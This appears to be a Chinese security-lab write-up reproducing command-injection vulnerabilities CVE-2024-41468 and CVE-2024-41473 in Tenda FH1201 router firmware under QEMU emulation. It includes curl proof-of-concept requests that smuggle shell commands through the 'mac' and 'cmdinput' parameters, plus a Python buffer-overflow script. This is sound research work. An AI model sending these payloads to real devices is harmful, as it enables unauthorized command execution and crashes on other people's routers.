1 前言
近期,在浏览公众号时无意发现Tenda-FH1201
存在命令注入漏洞CVE-2024-41468
,CVE-2024-41473
。一看固件更新时间2018-10-12
,感觉没必要应急了,但是作为初学者练习还是不错。
腾达(Tenda)是中国的一家网络设备制造商,专注于生产各种网络相关设备,包括路由器、交换机、无线适配器和网络摄像头等。腾达的 FH 系列路由器是其家庭和小型办公网络解决方案中的一种,主要特点是性价比高,易于设置和使用。
2 环境搭建
2.1 固件下载
Tenda官网提供固件下载[1]:
固件版本: FH1201 Firmware V1.2.0.14
binwalk
解压固件:
$ binwalk -Me US_FH1201V1.0BR_V1.2.0.14\(408\)_EN_TD.bin
查看bin/busybox
得知是 32位mips架构(小端):
$ file squashfs-root/bin/busybox
squashfs-root/bin/busybox: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
2.2 QEMU模拟
先使用 QEMU用户级调试启动,看看会不会遇到问题。安装qemu-user-static
:
$ sudo apt install qemu-user-static # debian,ubuntu
$ sudo yum install qemu-user-static # centos
安装完成后将qemu-mipsel-static
赋值到文件系统目录squashfs-root
下,启动httpd
服务:
$ cd squashfs-root/
$ cp $(which qemu-mipsel-static) ./
$ sudo chroot ./ ./qemu-mipsel-static ./bin/httpd
图1 尝试启动httpd服务
发现程序会卡在上图字符串位置。为了使程序继续进行,使用IDA
打开httpd
文件分析原因,首先定位到Welcome
字符串,Shift+F12
打开字符串窗口再通过Ctrl+f
搜索关键字Welcome
。
图2 搜索关键字Welcome
Ctrl+x
交叉引用看到汇编代码后再F5
反编译看看代码大概逻辑。
图3 反汇编源码
这里有一个check_network
函数被循环调用,并且还有sleep(1u)
的延迟,直到返回值大于0。目的可能是等待网络连接成功后再执行后续操作,这样就会陷入死循环。
再通过汇编代码看看执行逻辑:
图4 汇编源码
addiu $v0, $fp, 0xE0+var_34: 计算v0的值,这里v0指向变量v7。
move $a0, $v0: 将v0的值传递给a0(第一个函数参数)。
la $t9, check_network: 加载check_network函数的地址到t9。
jalr $t9: 跳转并链接到check_network函数。
lw $gp, 0xE0+var_D0($fp): 恢复全局指针寄存器$gp。
bgtz $v0, loc_48926C: 如果check_network返回值大于0,跳转到loc_48926C。
因为check_network
返回值无法大于0而陷入死循环。
可以通过修改汇编代码,使程序不调用check_network
直接跳转到后续操作。这里使用的方式是将move $a0, $v0
修改为li $v0, 1
,后续代码nop
代替,模拟check_network
返回大于1,跳转到loc_48926C
继续执行后续代码。
直接使用IDA
提供的Edit->Patch program->change byte
更改鼠标指针处的字节:
图5 patch之后汇编代码
然后,Edit->Patch program->Apply patches to input file
将更改保存进二进制文件。
QEMU系统级调试模拟环境,此时需要一个mipsel
架构的内核镜像和文件系统,可以在这个网站[2]下载。
vmlinux-2.6.32-5-4kc-malta 内核镜像
debian_squeeze_mipsel_standard.qcow2 文件系统
$ sudo qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no
启动后用户名和密码都是root
即可登录模拟的系统。
接下来在宿主机创建一个网卡,使qemu
内能和宿主机通信。
宿主机安装依赖:
$ sudo apt-get install bridge-utils uml-utilities
将如下代码保存为net.sh
并运行即可:
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPTsudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0
然后配置qemu
虚拟系统的路由,在qemu
虚拟系统中运行net.sh
并运行:
#!/bin/sh
ifconfig eth0 192.168.100.2 netmask 255.255.255.0
route add default gw 192.168.100.254
//虚拟系统可能没有 vim 或 nano ,使用 echo 一行一行写。这样宿主机和模拟环境互通,使用scp
命令将squashfs-root
文件夹上传到qemu
系统中的/root
路径下:
scp -r squashfs-root/ root@192.168.100.2:/root
然后挂载proc
、dev
,最后chroot
即可:
root@debian-mipsel:~# mount -t proc /proc ./squashfs-root/proc
root@debian-mipsel:~# mount -o bind /dev ./squashfs-root/dev
root@debian-mipsel:~# chroot ./squashfs-root/ sh
# ls
bin lib sys
dev media tmp
etc mnt usr
etc_ro proc var
运行bin/httpd
成功搭建环境。
3 漏洞分析
3.1 CVE-2024-41473
漏洞位于WriteFacMac
函数中:
图6 writeFacMac源码
代码从 HTTP 请求中获取名为mac
的参数。如果参数不存在,则使用默认值"00:01:02:11:22:33"
。
doSystemCmd("cfm mac %s", Var)
代码使用格式化字符串cfm mac %s
和变量Var
生成命令,然后调用doSystemCmd
函数执行生成的命令。
doSystemCmd
函数看起来是一个执行系统命令的函数,并且通过格式化字符串将Var
直接插入命令中。如果Var
中包含恶意用户输入,可能会导致命令注入漏洞。例如,用户可以通过以下方式提交恶意mac
参数:
mac=00:01:02:11:22:33; ifconfig /
这种情况下生成的命令将会导致命令执行:
cfm mac 00:01:02:11:22:33; ifconfig /
漏洞复现
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "mac=%3Bifconfig" "http://192.168.100.2/goform/WriteFacMac"
图7 漏洞复现
3.2 CVE-2024-41468
漏洞位于exeCommand
函数中:
图8 exeCommand源码
代码从HTTP请求中获取名为cmdinput
的参数,存储在src
中。如果参数不存在,使用默认值&unk_4AFDC0
。
strcpy(v7, src)
代码将获取到的cmdinput
参数值复制到缓冲区v7
中。没有对输入进行验证或清理。
由于doSystemCmd
函数直接使用v7
中的值作为命令执行,且v7
是从用户输入中获取的,这会导致命令注入漏洞。例如,用户可以通过以下方式提交恶意cmdinput
参数:
cmdinput=ls; ifconfig /
这种情况下生成的命令将会导致命令执行:
ls; ifconfig /
漏洞复现
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "cmdinput=ifconfig%3B" "http://192.168.100.2/goform/exeCommand"
图9 漏洞复现
此外,大家注意看图8中黑线标出部分,char v7[512];``char v8[256];``char v9[4096];``char v10[4096];
声明了一些固定大小的缓冲区。
strcpy(v7, src);
使用strcpy
将用户输入复制到v7
,但strcpy
不会检查目标缓冲区的大小。如果src
超过 512 字节,导致导致缓冲区溢出,程序崩溃。
import requests
ip = '192.168.100.2'
url = f"http://{ip}/goform/exeCommand"
long_input = 'A' * 600 # 600 字节的字符串,会溢出 512 字节的缓冲区
data = {
"cmdinput": long_input
}
ret = requests.post(url=url, data=data)
print(ret.text)
图10 溢出漏洞复现
同样地,在fgets(v10, 4096, stream)
和memcpy(&v9[v3], v10, n)
中,没有适当的边界检查,也可能导致缓冲区溢出。
4 总结
感觉这个路由器还有没被发现的漏洞,存在doSystemCmd
函数调用的地方都可能产生命令注入,并且很多地方都存在溢出漏洞。通过溢出漏洞RCE
的利用我也还在学习中,学会了下篇再聊。
5 相关链接
1.固件下载
作者:fan@知道创宇404实验室
原文链接:https://paper.seebug.org/3213/